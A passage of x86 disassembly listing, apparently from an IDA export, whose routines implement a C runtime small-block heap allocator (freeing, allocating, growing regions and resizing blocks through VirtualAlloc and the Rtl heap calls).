		lea	ecx, [eax+ecx*4]


loc_413560:				; CODE XREF: sub_413550+26j
		cmp	eax, ecx
		jnb	short loc_413578
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41357A
		add	eax, 14h
		jmp	short loc_413560
; ---------------------------------------------------------------------------


loc_413578:				; CODE XREF: sub_413550+12j
		xor	eax, eax

locret_41357A:				; CODE XREF: sub_413550+21j
		retn
sub_413550	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41357B	proc near		; CODE XREF: sub_410C83+16p
					; sub_41237F+89p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	eax, [ecx+10h]
		mov	esi, edx
		sub	esi, [ecx+0Ch]
		mov	ebx, [edx-4]
		add	edx, 0FFFFFFFCh
		push	edi
		shr	esi, 0Fh
		mov	ecx, esi
		mov	edi, [edx-4]
		imul	ecx, 204h
		dec	ebx
		mov	[ebp+var_4], edi
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ecx
		mov	ecx, [ebx+edx]
		test	cl, 1
		mov	[ebp+var_8], ecx
		jnz	short loc_413641
		sar	ecx, 4
		push	3Fh
		dec	ecx
		pop	edi
		mov	[ebp+arg_4], ecx
		cmp	ecx, edi
		jbe	short loc_4135D3
		mov	[ebp+arg_4], edi


loc_4135D3:				; CODE XREF: sub_41357B+53j
		mov	ecx, [ebx+edx+4]
		cmp	ecx, [ebx+edx+8]
		jnz	short loc_413625
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_413601
		mov	edi, 80000000h
		shr	edi, cl
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+44h], edi
		dec	byte ptr [ecx]
		jnz	short loc_413625
		mov	ecx, [ebp+arg_0]
		and	[ecx], edi
		jmp	short loc_413625
; ---------------------------------------------------------------------------


loc_413601:				; CODE XREF: sub_41357B+68j
		add	ecx, 0FFFFFFE0h
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+0C4h], edi
		dec	byte ptr [ecx]
		jnz	short loc_413625
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edi


loc_413625:				; CODE XREF: sub_41357B+60j
					; sub_41357B+7Dj ...
		mov	ecx, [ebx+edx+8]
		mov	edi, [ebx+edx+4]
		mov	[ecx+4], edi
		mov	ecx, [ebx+edx+4]
		mov	edi, [ebx+edx+8]
		add	ebx, [ebp+var_8]
		mov	[ecx+8], edi
		mov	[ebp+var_C], ebx


loc_413641:				; CODE XREF: sub_41357B+45j
		mov	edi, ebx
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		jbe	short loc_41364F
		push	3Fh
		pop	edi


loc_41364F:				; CODE XREF: sub_41357B+CFj
		mov	ecx, [ebp+var_4]
		and	ecx, 1
		mov	[ebp+var_14], ecx
		jnz	loc_4136FE
		sub	edx, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		push	3Fh
		mov	[ebp+var_8], edx
		dec	ecx
		pop	edx
		cmp	ecx, edx
		mov	[ebp+arg_4], ecx
		jbe	short loc_41367A
		mov	[ebp+arg_4], edx
		mov	ecx, edx


loc_41367A:				; CODE XREF: sub_41357B+F8j
		add	ebx, [ebp+var_4]
		mov	edi, ebx
		mov	[ebp+var_C], ebx
		sar	edi, 4
		dec	edi
		cmp	edi, edx
		jbe	short loc_41368C
		mov	edi, edx


loc_41368C:				; CODE XREF: sub_41357B+10Dj
		cmp	ecx, edi
		jz	short loc_4136FB
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		cmp	edx, [ecx+8]
		jnz	short loc_4136E3
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_4136BF
		mov	edx, 80000000h
		shr	edx, cl
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+44h], edx
		dec	byte ptr [ecx]
		jnz	short loc_4136E3
		mov	ecx, [ebp+arg_0]
		and	[ecx], edx
		jmp	short loc_4136E3
; ---------------------------------------------------------------------------


loc_4136BF:				; CODE XREF: sub_41357B+126j
		add	ecx, 0FFFFFFE0h
		mov	edx, 80000000h
		shr	edx, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+0C4h], edx
		dec	byte ptr [ecx]
		jnz	short loc_4136E3
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edx


loc_4136E3:				; CODE XREF: sub_41357B+11Ej
					; sub_41357B+13Bj ...
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[edx+8], ecx


loc_4136FB:				; CODE XREF: sub_41357B+113j
		mov	edx, [ebp+var_8]


loc_4136FE:				; CODE XREF: sub_41357B+DDj
		cmp	[ebp+var_14], 0
		jnz	short loc_41370D
		cmp	[ebp+arg_4], edi
		jz	loc_413796


loc_41370D:				; CODE XREF: sub_41357B+187j
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_413796
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41376A
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_413759
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_413759:				; CODE XREF: sub_41357B+1CEj
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		lea	eax, [eax+esi*4+44h]
		or	[eax], ebx
		jmp	short loc_413793
; ---------------------------------------------------------------------------


loc_41376A:				; CODE XREF: sub_41357B+1C8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_413780
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_413780:				; CODE XREF: sub_41357B+1F3j
		lea	ecx, [edi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		lea	eax, [eax+esi*4+0C4h]
		or	[eax], edi


loc_413793:				; CODE XREF: sub_41357B+1EDj
		mov	ebx, [ebp+var_C]


loc_413796:				; CODE XREF: sub_41357B+18Cj
					; sub_41357B+1B6j
		mov	eax, [ebp+var_10]
		mov	[edx], ebx
		mov	[ebx+edx-4], ebx
		dec	dword ptr [eax]
		jnz	loc_4138A1
		mov	eax, ds:dword_460E94
		test	eax, eax
		jz	loc_413893
		mov	ecx, ds:dword_460E8C
		mov	edi, ds:dword_41C160
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	edi	; VirtualFree
		mov	ecx, ds:dword_460E8C
		mov	eax, ds:dword_460E94
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, ds:dword_460E94
		mov	ecx, ds:dword_460E8C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, ds:dword_460E94
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, ds:dword_460E94
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_413821
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, ds:dword_460E94


loc_413821:				; CODE XREF: sub_41357B+29Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_413893
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	edi	; VirtualFree
		mov	eax, ds:dword_460E94
		push	dword ptr [eax+10h]
		push	0
		push	ds:dword_460EA0
		call	ds:dword_41C138	; RtlFreeHeap
		mov	eax, ds:dword_460E98
		mov	edx, ds:dword_460E9C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, ds:dword_460E94
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_4112D0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	ds:dword_460E98
		cmp	eax, ds:dword_460E94
		jbe	short loc_413885
		sub	eax, 14h


loc_413885:				; CODE XREF: sub_41357B+305j
		mov	ecx, ds:dword_460E9C
		mov	ds:dword_460E90, ecx
		jmp	short loc_413896
; ---------------------------------------------------------------------------


loc_413893:				; CODE XREF: sub_41357B+233j
					; sub_41357B+2AAj
		mov	eax, [ebp+arg_0]


loc_413896:				; CODE XREF: sub_41357B+316j
		mov	ds:dword_460E94, eax
		mov	ds:dword_460E8C, esi


loc_4138A1:				; CODE XREF: sub_41357B+226j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41357B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4138A6	proc near		; CODE XREF: sub_410C4D+Ep
					; sub_41237F+69p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, ds:dword_460E98
		mov	edx, ds:dword_460E9C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_4138E6
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_4138F6
; ---------------------------------------------------------------------------


loc_4138E6:				; CODE XREF: sub_4138A6+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_4138F6:				; CODE XREF: sub_4138A6+3Ej
		mov	eax, ds:dword_460E90
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41391D


loc_413904:				; CODE XREF: sub_4138A6+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41391D
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_413904


loc_41391D:				; CODE XREF: sub_4138A6+5Cj
					; sub_4138A6+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41399B
		mov	ebx, edx


loc_413924:				; CODE XREF: sub_4138A6+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_413940
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41393E
		add	ebx, 14h
		jmp	short loc_413924
; ---------------------------------------------------------------------------


loc_41393E:				; CODE XREF: sub_4138A6+91j
		cmp	ebx, eax


loc_413940:				; CODE XREF: sub_4138A6+83j
		jnz	short loc_41399B


loc_413942:				; CODE XREF: sub_4138A6+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_413958
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_413955
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_413942
; ---------------------------------------------------------------------------


loc_413955:				; CODE XREF: sub_4138A6+A5j
		cmp	ebx, [ebp+var_4]


loc_413958:				; CODE XREF: sub_4138A6+9Fj
		jnz	short loc_413980
		mov	ebx, edx


loc_41395C:				; CODE XREF: sub_4138A6+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_413970
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41396E
		add	ebx, 14h
		jmp	short loc_41395C
; ---------------------------------------------------------------------------


loc_41396E:				; CODE XREF: sub_4138A6+C1j
		cmp	ebx, eax


loc_413970:				; CODE XREF: sub_4138A6+BBj
		jnz	short loc_413980
		call	sub_413BAF
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_413994


loc_413980:				; CODE XREF: sub_4138A6:loc_413958j
					; sub_4138A6:loc_413970j
		push	ebx
		call	sub_413C60
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41399B


loc_413994:				; CODE XREF: sub_4138A6+D8j
		xor	eax, eax
		jmp	loc_413BAA
; ---------------------------------------------------------------------------


loc_41399B:				; CODE XREF: sub_4138A6+7Aj
					; sub_4138A6:loc_413940j ...
		mov	ds:dword_460E90, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_4139C2
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_4139F9


loc_4139C2:				; CODE XREF: sub_4138A6+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_4139F6


loc_4139DF:				; CODE XREF: sub_4138A6+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_4139DF


loc_4139F6:				; CODE XREF: sub_4138A6+137j
		mov	edx, [ebp+var_4]


loc_4139F9:				; CODE XREF: sub_4138A6+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_413A22
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_413A22:				; CODE XREF: sub_4138A6+16Dj
					; sub_4138A6+183j
		test	ecx, ecx
		jl	short loc_413A2B
		shl	ecx, 1
		inc	edi
		jmp	short loc_413A22
; ---------------------------------------------------------------------------


loc_413A2B:				; CODE XREF: sub_4138A6+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_413A48
		push	3Fh
		pop	esi


loc_413A48:				; CODE XREF: sub_4138A6+19Dj
		cmp	esi, edi
		jz	loc_413B5D
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_413AB9
		cmp	edi, 20h
		jge	short loc_413A88
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_413AB6
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_413AB9
; ---------------------------------------------------------------------------


loc_413A88:				; CODE XREF: sub_4138A6+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_413AB6
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_413AB9
; ---------------------------------------------------------------------------


loc_413AB6:				; CODE XREF: sub_4138A6+1D6j
					; sub_4138A6+203j
		mov	ebx, [ebp+arg_0]


loc_413AB9:				; CODE XREF: sub_4138A6+1B0j
					; sub_4138A6+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_413B69
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_413B5A
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_413B2B
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_413B19
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_413B19:				; CODE XREF: sub_4138A6+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_413B5A
; ---------------------------------------------------------------------------


loc_413B2B:				; CODE XREF: sub_4138A6+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_413B44
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_413B44:				; CODE XREF: sub_4138A6+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_413B5A:				; CODE XREF: sub_4138A6+24Ej
					; sub_4138A6+283j
		mov	ecx, [ebp+var_8]


loc_413B5D:				; CODE XREF: sub_4138A6+1A4j
		test	ecx, ecx
		jz	short loc_413B6C
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_413B6C
; ---------------------------------------------------------------------------


loc_413B69:				; CODE XREF: sub_4138A6+229j
		mov	ecx, [ebp+var_8]


loc_413B6C:				; CODE XREF: sub_4138A6+2B9j
					; sub_4138A6+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_413BA2
		cmp	ebx, ds:dword_460E94
		jnz	short loc_413BA2
		mov	ecx, [ebp+var_4]
		cmp	ecx, ds:dword_460E8C
		jnz	short loc_413BA2
		and	ds:dword_460E94, 0


loc_413BA2:				; CODE XREF: sub_4138A6+2E0j
					; sub_4138A6+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_413BAA:				; CODE XREF: sub_4138A6+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4138A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_413BAF	proc near		; CODE XREF: sub_4138A6+CCp
		mov	eax, ds:dword_460E98
		mov	ecx, ds:dword_460E88
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_413BF2
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	ds:dword_460E9C
		push	edi
		push	ds:dword_460EA0
		call	ds:dword_41C148	; RtlReAllocateHeap
		cmp	eax, edi
		jz	short loc_413C42
		add	ds:dword_460E88, 10h
		mov	ds:dword_460E9C, eax
		mov	eax, ds:dword_460E98


loc_413BF2:				; CODE XREF: sub_413BAF+11j
		mov	ecx, ds:dword_460E9C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	ds:dword_460EA0
		lea	esi, [ecx+eax*4]
		call	ds:dword_41C134	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_413C42
		push	4
		push	2000h
		push	100000h
		push	edi
		call	ds:dword_41C164	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_413C46
		push	dword ptr [esi+10h]
		push	edi
		push	ds:dword_460EA0
		call	ds:dword_41C138	; RtlFreeHeap


loc_413C42:				; CODE XREF: sub_413BAF+30j
					; sub_413BAF+67j
		xor	eax, eax
		jmp	short loc_413C5D
; ---------------------------------------------------------------------------


loc_413C46:				; CODE XREF: sub_413BAF+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	ds:dword_460E98
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_413C5D:				; CODE XREF: sub_413BAF+95j
		pop	edi
		pop	esi
		retn
sub_413BAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413C60	proc near		; CODE XREF: sub_4138A6+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_413C72:				; CODE XREF: sub_413C60+19j
		test	eax, eax
		jl	short loc_413C7B
		shl	eax, 1
		inc	ebx
		jmp	short loc_413C72
; ---------------------------------------------------------------------------


loc_413C7B:				; CODE XREF: sub_413C60+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_413C90:				; CODE XREF: sub_413C60+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_413C90
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	ds:dword_41C164	; VirtualAlloc
		test	eax, eax
		jnz	short loc_413CC3
		or	eax, 0FFFFFFFFh
		jmp	loc_413D56
; ---------------------------------------------------------------------------


loc_413CC3:				; CODE XREF: sub_413C60+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_413D09
		lea	eax, [edi+10h]


loc_413CD0:				; CODE XREF: sub_413C60+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_413CD0


loc_413D09:				; CODE XREF: sub_413C60+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_413D46
		or	[eax+4], edi


loc_413D46:				; CODE XREF: sub_413C60+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_413D56:				; CODE XREF: sub_413C60+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413C60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413D5B	proc near		; CODE XREF: sub_41237F+58p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_413F09
		test	bl, 1
		jnz	loc_413F02
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_413F02
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_413DD2
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_413DD2:				; CODE XREF: sub_413D5B+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_413E22
		cmp	ecx, 20h
		jnb	short loc_413DFE
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_413E22
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_413E22
; ---------------------------------------------------------------------------


loc_413DFE:				; CODE XREF: sub_413D5B+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_413E22
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_413E22:				; CODE XREF: sub_413D5B+7Dj
					; sub_413D5B+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_413EF0
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_413E5C
		push	3Fh
		pop	edi


loc_413E5C:				; CODE XREF: sub_413D5B+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_413EDE
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_413EB5
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_413EA8
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_413EA8:				; CODE XREF: sub_413D5B+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_413EDA
; ---------------------------------------------------------------------------


loc_413EB5:				; CODE XREF: sub_413D5B+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_413ECB
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_413ECB:				; CODE XREF: sub_413D5B+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_413EDA:				; CODE XREF: sub_413D5B+158j
		shr	edx, cl
		or	[eax], edx


loc_413EDE:				; CODE XREF: sub_413D5B+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_413EF3
